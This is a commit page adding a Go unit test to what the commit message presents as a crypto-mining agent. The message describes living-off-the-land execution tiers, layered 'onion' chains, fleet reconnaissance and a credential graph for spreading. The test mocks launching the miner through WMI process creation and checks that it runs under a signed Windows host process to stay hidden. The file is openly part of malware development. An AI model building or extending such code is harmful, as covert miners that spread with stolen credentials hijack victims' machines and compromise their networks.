Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
45
agent/miner/tier_wmi_test.go
Normal file
45
agent/miner/tier_wmi_test.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunWMITierMockProcessCreate(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("wmi tier requires windows")
|
||||
}
|
||||
SetWMIProcessCreate(func(commandLine string) (uint32, error) {
|
||||
if commandLine == "" {
|
||||
t.Fatal("expected command line")
|
||||
}
|
||||
return 4242, nil
|
||||
})
|
||||
defer SetWMIProcessCreate(nil)
|
||||
|
||||
attempt := RunWMITier(context.Background(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
Wallet: "wallet",
|
||||
MiningMode: "idle",
|
||||
},
|
||||
})
|
||||
if !attempt.OK {
|
||||
t.Fatalf("attempt=%+v", attempt)
|
||||
}
|
||||
if attempt.Details["signed_host"] != SignedHostProcess {
|
||||
t.Fatalf("signed_host=%v", attempt.Details["signed_host"])
|
||||
}
|
||||
if attempt.Details["child_pid"] != uint32(4242) {
|
||||
t.Fatalf("child_pid=%v", attempt.Details["child_pid"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseWMICreatePID(t *testing.T) {
|
||||
pid, err := parseWMICreatePID([]byte(`{"pid":12345,"host":"WmiPrvSE.exe"}`))
|
||||
if err != nil || pid != 12345 {
|
||||
t.Fatalf("pid=%d err=%v", pid, err)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user